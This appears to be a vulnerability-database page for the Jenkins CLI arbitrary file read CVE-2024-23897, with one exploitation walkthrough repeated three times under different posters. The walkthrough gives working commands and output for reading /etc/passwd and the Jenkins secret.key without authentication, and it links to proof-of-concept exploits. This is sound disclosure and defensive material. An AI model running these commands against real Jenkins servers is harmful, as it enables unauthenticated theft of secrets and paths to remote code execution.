CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.8%
Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an ‘@’ character followed by a file path in an argument with the file’s contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.
Recent assessments:
w2xim3 at January 26, 2024 4:16am UTC reported:
CVE-2024-23897 has been identified as an arbitrary file read vulnerability in Jenkins, specifically through its built-in command line interface (CLI). This vulnerability stems from the use of the args4j library for parsing command arguments and options on the Jenkins controller.
When processing CLI commands, Jenkins utilizes the args4j library, which has a feature that replaces an @
character followed by a file path in an argument with the contents of that file (expandAtFiles
). This feature is enabled by default and was not disabled in Jenkins versions 2.441 and earlier, including LTS 2.426.2 and earlier.
A threat actor can exploit this vulnerability to read arbitrary files on the Jenkins controller’s file system using the default character encoding of the Jenkins controller process. Attackers with “Overall/Read” permission can read entire files, while those without such permission can only read the first three lines of files, depending on the CLI commands used.
Furthermore, this vulnerability can be exploited to read binary files containing sensitive information like cryptographic keys, although there are certain limitations. If these binary secrets are extracted, it could potentially lead to various attacks, such as:
Remote code execution via Resource Root URLs.
Remote code execution through “Remember me” cookies.
Remote code execution via stored cross-site scripting (XSS) attacks in build logs.
Remote code execution by bypassing CSRF protection.
Decrypting secrets stored in Jenkins.
Deleting any item in Jenkins.
Downloading a Java heap dump.
Jenkins has noted that while files containing binary data can be read, the affected feature attempts to read them as strings using the controller process’s default character encoding.
This vulnerability highlights the importance of proper cybersecurity measures in managing software infrastructure, especially in tools like Jenkins, which are pivotal in the continuous integration and delivery pipeline.
To determine if a Jenkins instance is vulnerable, you can check its version using a simple curl
command. This can help identify if the Jenkins version is one that’s affected by CVE-2024-23897.
Command:
curl -I http://jenkins.website.com:8080
HTTP/1.1 403 Forbidden
Date: Fri, 26 Jan 2024 03:20:33 GMT
X-Content-Type-Options: nosniff
Set-Cookie: JSESSIONID.0fb6b3ab=node01vyrtax05t5vd1bj77ieowz32z8.node0; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=utf-8
X-Hudson: 1.395
X-Jenkins: 2.426.2
X-Jenkins-Session: f03ec4ab
Transfer-Encoding: chunked
Server: Jetty(10.0.18)
The X-Jenkins header in the response indicates the version of Jenkins that is running. In this example, it shows version 2.426.2, which is one of the versions affected by the vulnerability.
First, we need to download the CLI tool for Jenkins:
wget http://jenkins.website.com:8080/jnlpJars/jenkins-cli.jar
To determine the commands that I can execute with the CLI, I installed the Docker version with admin credentials (username: admin, password: admin). After executing the “help” command:
java -jar jenkins-cli.jar -s http://localhost:8080 -auth admin:admin help
Here are the commands that I can execute:
add-job-to-view
: Add jobs to a specific view.
build
: Build a job and optionally wait for its completion.
copy-job
: Copy an existing job.
create-job
: Create a new job with XML configuration input.
delete-builds
: Delete specific build records.
delete-job
: Delete one or more jobs.
disable-job
: Disable a specified job.
enable-job
: Enable a specified job.
get-job
: Output the job definition XML.
keep-build
: Mark a build to keep it permanently.
list-jobs
: List all jobs in a specific view or item group.
reload-job
: Reload job definitions.
remove-job-from-view
: Remove jobs from a specific view.
update-job
: Update job definition using XML input.
connect-node
: Reconnect to one or more nodes.
create-node
: Create a new node with XML configuration.
delete-node
: Delete one or more nodes.
disconnect-node
: Disconnect from a node.
get-node
: Output the node definition XML.
offline-node
: Temporarily stop using a node.
online-node
: Resume using a node.
update-node
: Update node definition using XML input.
wait-node-offline
: Wait for a node to go offline.
wait-node-online
: Wait for a node to come online.
disable-plugin
: Disable one or more plugins.
enable-plugin
: Enable one or more plugins.
install-plugin
: Install a plugin from a file, URL, or update center.
list-plugins
: List all installed plugins.
create-view
: Create a new view with XML configuration.
delete-view
: Delete one or more views.
get-view
: Output the view definition XML.
update-view
: Update view definition using XML input.
create-credentials-by-xml
: Create credentials using XML.
create-credentials-domain-by-xml
: Create a credentials domain using XML.
delete-credentials
: Delete specific credentials.
delete-credentials-domain
: Delete a credentials domain.
get-credentials-as-xml
: Get credentials as XML (secrets redacted).
get-credentials-domain-as-xml
: Get a credentials domain as XML.
import-credentials-as-xml
: Import credentials using XML.
list-credentials
: List credentials in a specific store.
list-credentials-as-xml
: Export credentials as XML.
update-credentials-by-xml
: Update credentials using XML.
update-credentials-domain-by-xml
: Update a credentials domain using XML.
console
: Retrieve console output of a build.
declarative-linter
: Validate a Jenkinsfile with a Declarative Pipeline.
groovy
: Execute a specified Groovy script.
groovysh
: Run an interactive Groovy shell.
list-changes
: Dump the changelog for specific builds.
replay-pipeline
: Replay a Pipeline build with edited script.
restart-from-stage
: Restart a completed Pipeline build from a stage.
set-build-description
: Set the description of a build.
set-build-display-name
: Set the display name of a build.
stop-builds
: Stop all running builds for specific jobs.
cancel-quiet-down
: Cancel the quiet-down mode.
clear-queue
: Clear the build queue.
help
: List all available commands or detailed description of a single command.
mail
: Send an email with input from stdin.
quiet-down
: Prepare Jenkins for restart by not starting new builds.
reload-configuration
: Reload all data from the file system.
restart
: Restart Jenkins.
safe-restart
: Safely restart Jenkins without starting new builds.
safe-shutdown
: Shut down Jenkins after completing existing builds.
session-id
: Output the current session ID.
shutdown
: Immediately shut down Jenkins server.
version
: Output the current version of Jenkins.
who-am-i
: Report user credentials and permissions.
Subsequently, I randomly used a get
function:
java -jar jenkins-cli.jar -s http://localhost:8080 -auth admin:admin get-node @/etc/passwd
ERROR: No such node 'root:x:0:0:root:/root:/bin/bash'
Great, I can now read files, but the question remains about unauthenticated access.
java -jar jenkins-cli.jar -s http://localhost:8080 get-node @/etc/passwd
io.jenkins.cli.shaded.jakarta.websocket.DeploymentException: Handshake error.
# (Error stack trace omitted for brevity)
Caused by: io.jenkins.cli.shaded.org.glassfish.tyrus.client.auth.AuthenticationException: Credentials are missing.
So, I decided to test all the commands without authentication.
for i in `cat jenkins_commands.txt`; do echo $i; java -jar jenkins-cli.jar -s http://localhost:8080 $i "@/etc/passwd"; done
I received some responses from a few commands without authentication.
disable-job
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
enable-job
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
help
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
safe-shutdown
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
shutdown
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
who-am-i
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
Thus, it is possible to read a few lines from files on a vulnerable Jenkins instance.
java -jar jenkins-cli.jar -s http://localhost:8080 shutdown @/var/jenkins_home/secret.key
ERROR: No argument is allowed: 85c25a9e632febdbad51498ef0bb568400fbc28c1a00ce5115b0789a83c2dd09
Here the secret key of my jenkin.
To address the vulnerability, update to a version higher than Jenkins 2.442 or LTS 2.426.3.
Author: Maxime Paillé
GitHub: w2xim3
LinkedIn: LinkedIn Profile
sfewer-r7 at January 30, 2024 5:37pm UTC reported:
CVE-2024-23897 has been identified as an arbitrary file read vulnerability in Jenkins, specifically through its built-in command line interface (CLI). This vulnerability stems from the use of the args4j library for parsing command arguments and options on the Jenkins controller.
When processing CLI commands, Jenkins utilizes the args4j library, which has a feature that replaces an @
character followed by a file path in an argument with the contents of that file (expandAtFiles
). This feature is enabled by default and was not disabled in Jenkins versions 2.441 and earlier, including LTS 2.426.2 and earlier.
A threat actor can exploit this vulnerability to read arbitrary files on the Jenkins controller’s file system using the default character encoding of the Jenkins controller process. Attackers with “Overall/Read” permission can read entire files, while those without such permission can only read the first three lines of files, depending on the CLI commands used.
Furthermore, this vulnerability can be exploited to read binary files containing sensitive information like cryptographic keys, although there are certain limitations. If these binary secrets are extracted, it could potentially lead to various attacks, such as:
Remote code execution via Resource Root URLs.
Remote code execution through “Remember me” cookies.
Remote code execution via stored cross-site scripting (XSS) attacks in build logs.
Remote code execution by bypassing CSRF protection.
Decrypting secrets stored in Jenkins.
Deleting any item in Jenkins.
Downloading a Java heap dump.
Jenkins has noted that while files containing binary data can be read, the affected feature attempts to read them as strings using the controller process’s default character encoding.
This vulnerability highlights the importance of proper cybersecurity measures in managing software infrastructure, especially in tools like Jenkins, which are pivotal in the continuous integration and delivery pipeline.
To determine if a Jenkins instance is vulnerable, you can check its version using a simple curl
command. This can help identify if the Jenkins version is one that’s affected by CVE-2024-23897.
Command:
curl -I http://jenkins.website.com:8080
HTTP/1.1 403 Forbidden
Date: Fri, 26 Jan 2024 03:20:33 GMT
X-Content-Type-Options: nosniff
Set-Cookie: JSESSIONID.0fb6b3ab=node01vyrtax05t5vd1bj77ieowz32z8.node0; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=utf-8
X-Hudson: 1.395
X-Jenkins: 2.426.2
X-Jenkins-Session: f03ec4ab
Transfer-Encoding: chunked
Server: Jetty(10.0.18)
The X-Jenkins header in the response indicates the version of Jenkins that is running. In this example, it shows version 2.426.2, which is one of the versions affected by the vulnerability.
First, we need to download the CLI tool for Jenkins:
wget http://jenkins.website.com:8080/jnlpJars/jenkins-cli.jar
To determine the commands that I can execute with the CLI, I installed the Docker version with admin credentials (username: admin, password: admin). After executing the “help” command:
java -jar jenkins-cli.jar -s http://localhost:8080 -auth admin:admin help
Here are the commands that I can execute:
add-job-to-view
: Add jobs to a specific view.
build
: Build a job and optionally wait for its completion.
copy-job
: Copy an existing job.
create-job
: Create a new job with XML configuration input.
delete-builds
: Delete specific build records.
delete-job
: Delete one or more jobs.
disable-job
: Disable a specified job.
enable-job
: Enable a specified job.
get-job
: Output the job definition XML.
keep-build
: Mark a build to keep it permanently.
list-jobs
: List all jobs in a specific view or item group.
reload-job
: Reload job definitions.
remove-job-from-view
: Remove jobs from a specific view.
update-job
: Update job definition using XML input.
connect-node
: Reconnect to one or more nodes.
create-node
: Create a new node with XML configuration.
delete-node
: Delete one or more nodes.
disconnect-node
: Disconnect from a node.
get-node
: Output the node definition XML.
offline-node
: Temporarily stop using a node.
online-node
: Resume using a node.
update-node
: Update node definition using XML input.
wait-node-offline
: Wait for a node to go offline.
wait-node-online
: Wait for a node to come online.
disable-plugin
: Disable one or more plugins.
enable-plugin
: Enable one or more plugins.
install-plugin
: Install a plugin from a file, URL, or update center.
list-plugins
: List all installed plugins.
create-view
: Create a new view with XML configuration.
delete-view
: Delete one or more views.
get-view
: Output the view definition XML.
update-view
: Update view definition using XML input.
create-credentials-by-xml
: Create credentials using XML.
create-credentials-domain-by-xml
: Create a credentials domain using XML.
delete-credentials
: Delete specific credentials.
delete-credentials-domain
: Delete a credentials domain.
get-credentials-as-xml
: Get credentials as XML (secrets redacted).
get-credentials-domain-as-xml
: Get a credentials domain as XML.
import-credentials-as-xml
: Import credentials using XML.
list-credentials
: List credentials in a specific store.
list-credentials-as-xml
: Export credentials as XML.
update-credentials-by-xml
: Update credentials using XML.
update-credentials-domain-by-xml
: Update a credentials domain using XML.
console
: Retrieve console output of a build.
declarative-linter
: Validate a Jenkinsfile with a Declarative Pipeline.
groovy
: Execute a specified Groovy script.
groovysh
: Run an interactive Groovy shell.
list-changes
: Dump the changelog for specific builds.
replay-pipeline
: Replay a Pipeline build with edited script.
restart-from-stage
: Restart a completed Pipeline build from a stage.
set-build-description
: Set the description of a build.
set-build-display-name
: Set the display name of a build.
stop-builds
: Stop all running builds for specific jobs.
cancel-quiet-down
: Cancel the quiet-down mode.
clear-queue
: Clear the build queue.
help
: List all available commands or detailed description of a single command.
mail
: Send an email with input from stdin.
quiet-down
: Prepare Jenkins for restart by not starting new builds.
reload-configuration
: Reload all data from the file system.
restart
: Restart Jenkins.
safe-restart
: Safely restart Jenkins without starting new builds.
safe-shutdown
: Shut down Jenkins after completing existing builds.
session-id
: Output the current session ID.
shutdown
: Immediately shut down Jenkins server.
version
: Output the current version of Jenkins.
who-am-i
: Report user credentials and permissions.
Subsequently, I randomly used a get
function:
java -jar jenkins-cli.jar -s http://localhost:8080 -auth admin:admin get-node @/etc/passwd
ERROR: No such node 'root:x:0:0:root:/root:/bin/bash'
Great, I can now read files, but the question remains about unauthenticated access.
java -jar jenkins-cli.jar -s http://localhost:8080 get-node @/etc/passwd
io.jenkins.cli.shaded.jakarta.websocket.DeploymentException: Handshake error.
# (Error stack trace omitted for brevity)
Caused by: io.jenkins.cli.shaded.org.glassfish.tyrus.client.auth.AuthenticationException: Credentials are missing.
So, I decided to test all the commands without authentication.
for i in `cat jenkins_commands.txt`; do echo $i; java -jar jenkins-cli.jar -s http://localhost:8080 $i "@/etc/passwd"; done
I received some responses from a few commands without authentication.
disable-job
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
enable-job
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
help
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
safe-shutdown
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
shutdown
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
who-am-i
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
Thus, it is possible to read a few lines from files on a vulnerable Jenkins instance.
java -jar jenkins-cli.jar -s http://localhost:8080 shutdown @/var/jenkins_home/secret.key
ERROR: No argument is allowed: 85c25a9e632febdbad51498ef0bb568400fbc28c1a00ce5115b0789a83c2dd09
Here the secret key of my jenkin.
To address the vulnerability, update to a version higher than Jenkins 2.442 or LTS 2.426.3.
Author: Maxime Paillé
GitHub: w2xim3
LinkedIn: LinkedIn Profile
ccondon-r7 at August 07, 2024 3:33pm UTC reported:
CVE-2024-23897 has been identified as an arbitrary file read vulnerability in Jenkins, specifically through its built-in command line interface (CLI). This vulnerability stems from the use of the args4j library for parsing command arguments and options on the Jenkins controller.
When processing CLI commands, Jenkins utilizes the args4j library, which has a feature that replaces an @
character followed by a file path in an argument with the contents of that file (expandAtFiles
). This feature is enabled by default and was not disabled in Jenkins versions 2.441 and earlier, including LTS 2.426.2 and earlier.
A threat actor can exploit this vulnerability to read arbitrary files on the Jenkins controller’s file system using the default character encoding of the Jenkins controller process. Attackers with “Overall/Read” permission can read entire files, while those without such permission can only read the first three lines of files, depending on the CLI commands used.
Furthermore, this vulnerability can be exploited to read binary files containing sensitive information like cryptographic keys, although there are certain limitations. If these binary secrets are extracted, it could potentially lead to various attacks, such as:
Remote code execution via Resource Root URLs.
Remote code execution through “Remember me” cookies.
Remote code execution via stored cross-site scripting (XSS) attacks in build logs.
Remote code execution by bypassing CSRF protection.
Decrypting secrets stored in Jenkins.
Deleting any item in Jenkins.
Downloading a Java heap dump.
Jenkins has noted that while files containing binary data can be read, the affected feature attempts to read them as strings using the controller process’s default character encoding.
This vulnerability highlights the importance of proper cybersecurity measures in managing software infrastructure, especially in tools like Jenkins, which are pivotal in the continuous integration and delivery pipeline.
To determine if a Jenkins instance is vulnerable, you can check its version using a simple curl
command. This can help identify if the Jenkins version is one that’s affected by CVE-2024-23897.
Command:
curl -I http://jenkins.website.com:8080
HTTP/1.1 403 Forbidden
Date: Fri, 26 Jan 2024 03:20:33 GMT
X-Content-Type-Options: nosniff
Set-Cookie: JSESSIONID.0fb6b3ab=node01vyrtax05t5vd1bj77ieowz32z8.node0; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=utf-8
X-Hudson: 1.395
X-Jenkins: 2.426.2
X-Jenkins-Session: f03ec4ab
Transfer-Encoding: chunked
Server: Jetty(10.0.18)
The X-Jenkins header in the response indicates the version of Jenkins that is running. In this example, it shows version 2.426.2, which is one of the versions affected by the vulnerability.
First, we need to download the CLI tool for Jenkins:
wget http://jenkins.website.com:8080/jnlpJars/jenkins-cli.jar
To determine the commands that I can execute with the CLI, I installed the Docker version with admin credentials (username: admin, password: admin). After executing the “help” command:
java -jar jenkins-cli.jar -s http://localhost:8080 -auth admin:admin help
Here are the commands that I can execute:
add-job-to-view
: Add jobs to a specific view.
build
: Build a job and optionally wait for its completion.
copy-job
: Copy an existing job.
create-job
: Create a new job with XML configuration input.
delete-builds
: Delete specific build records.
delete-job
: Delete one or more jobs.
disable-job
: Disable a specified job.
enable-job
: Enable a specified job.
get-job
: Output the job definition XML.
keep-build
: Mark a build to keep it permanently.
list-jobs
: List all jobs in a specific view or item group.
reload-job
: Reload job definitions.
remove-job-from-view
: Remove jobs from a specific view.
update-job
: Update job definition using XML input.
connect-node
: Reconnect to one or more nodes.
create-node
: Create a new node with XML configuration.
delete-node
: Delete one or more nodes.
disconnect-node
: Disconnect from a node.
get-node
: Output the node definition XML.
offline-node
: Temporarily stop using a node.
online-node
: Resume using a node.
update-node
: Update node definition using XML input.
wait-node-offline
: Wait for a node to go offline.
wait-node-online
: Wait for a node to come online.
disable-plugin
: Disable one or more plugins.
enable-plugin
: Enable one or more plugins.
install-plugin
: Install a plugin from a file, URL, or update center.
list-plugins
: List all installed plugins.
create-view
: Create a new view with XML configuration.
delete-view
: Delete one or more views.
get-view
: Output the view definition XML.
update-view
: Update view definition using XML input.
create-credentials-by-xml
: Create credentials using XML.
create-credentials-domain-by-xml
: Create a credentials domain using XML.
delete-credentials
: Delete specific credentials.
delete-credentials-domain
: Delete a credentials domain.
get-credentials-as-xml
: Get credentials as XML (secrets redacted).
get-credentials-domain-as-xml
: Get a credentials domain as XML.
import-credentials-as-xml
: Import credentials using XML.
list-credentials
: List credentials in a specific store.
list-credentials-as-xml
: Export credentials as XML.
update-credentials-by-xml
: Update credentials using XML.
update-credentials-domain-by-xml
: Update a credentials domain using XML.
console
: Retrieve console output of a build.
declarative-linter
: Validate a Jenkinsfile with a Declarative Pipeline.
groovy
: Execute a specified Groovy script.
groovysh
: Run an interactive Groovy shell.
list-changes
: Dump the changelog for specific builds.
replay-pipeline
: Replay a Pipeline build with edited script.
restart-from-stage
: Restart a completed Pipeline build from a stage.
set-build-description
: Set the description of a build.
set-build-display-name
: Set the display name of a build.
stop-builds
: Stop all running builds for specific jobs.
cancel-quiet-down
: Cancel the quiet-down mode.
clear-queue
: Clear the build queue.
help
: List all available commands or detailed description of a single command.
mail
: Send an email with input from stdin.
quiet-down
: Prepare Jenkins for restart by not starting new builds.
reload-configuration
: Reload all data from the file system.
restart
: Restart Jenkins.
safe-restart
: Safely restart Jenkins without starting new builds.
safe-shutdown
: Shut down Jenkins after completing existing builds.
session-id
: Output the current session ID.
shutdown
: Immediately shut down Jenkins server.
version
: Output the current version of Jenkins.
who-am-i
: Report user credentials and permissions.
Subsequently, I randomly used a get
function:
java -jar jenkins-cli.jar -s http://localhost:8080 -auth admin:admin get-node @/etc/passwd
ERROR: No such node 'root:x:0:0:root:/root:/bin/bash'
Great, I can now read files, but the question remains about unauthenticated access.
java -jar jenkins-cli.jar -s http://localhost:8080 get-node @/etc/passwd
io.jenkins.cli.shaded.jakarta.websocket.DeploymentException: Handshake error.
# (Error stack trace omitted for brevity)
Caused by: io.jenkins.cli.shaded.org.glassfish.tyrus.client.auth.AuthenticationException: Credentials are missing.
So, I decided to test all the commands without authentication.
for i in `cat jenkins_commands.txt`; do echo $i; java -jar jenkins-cli.jar -s http://localhost:8080 $i "@/etc/passwd"; done
I received some responses from a few commands without authentication.
disable-job
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
enable-job
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
help
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
safe-shutdown
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
shutdown
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
who-am-i
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
Thus, it is possible to read a few lines from files on a vulnerable Jenkins instance.
java -jar jenkins-cli.jar -s http://localhost:8080 shutdown @/var/jenkins_home/secret.key
ERROR: No argument is allowed: 85c25a9e632febdbad51498ef0bb568400fbc28c1a00ce5115b0789a83c2dd09
Here the secret key of my jenkin.
To address the vulnerability, update to a version higher than Jenkins 2.442 or LTS 2.426.3.
Author: Maxime Paillé
GitHub: w2xim3
LinkedIn: LinkedIn Profile
Assessed Attacker Value: 4
Assessed Attacker Value: 4Assessed Attacker Value: 4
packetstormsecurity.com/files/176839/Jenkins-2.441-LTS-2.426.3-CVE-2024-23897-Scanner.html
packetstormsecurity.com/files/176840/Jenkins-2.441-LTS-2.426.3-Arbitrary-File-Read.html
www.openwall.com/lists/oss-security/2024/01/24/6
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-23897
github.com/binganao/CVE-2024-23897/blob/main/poc.py
github.com/h4x0r-dz/CVE-2024-23897
github.com/Maalfer/CVE-2024-23897
github.com/Vozec/CVE-2024-23897
github.com/wjlin0/CVE-2024-23897
www.horizon3.ai/cve-2024-23897-assessing-the-impact-of-the-jenkins-arbitrary-file-leak-vulnerability/
www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314
www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.8%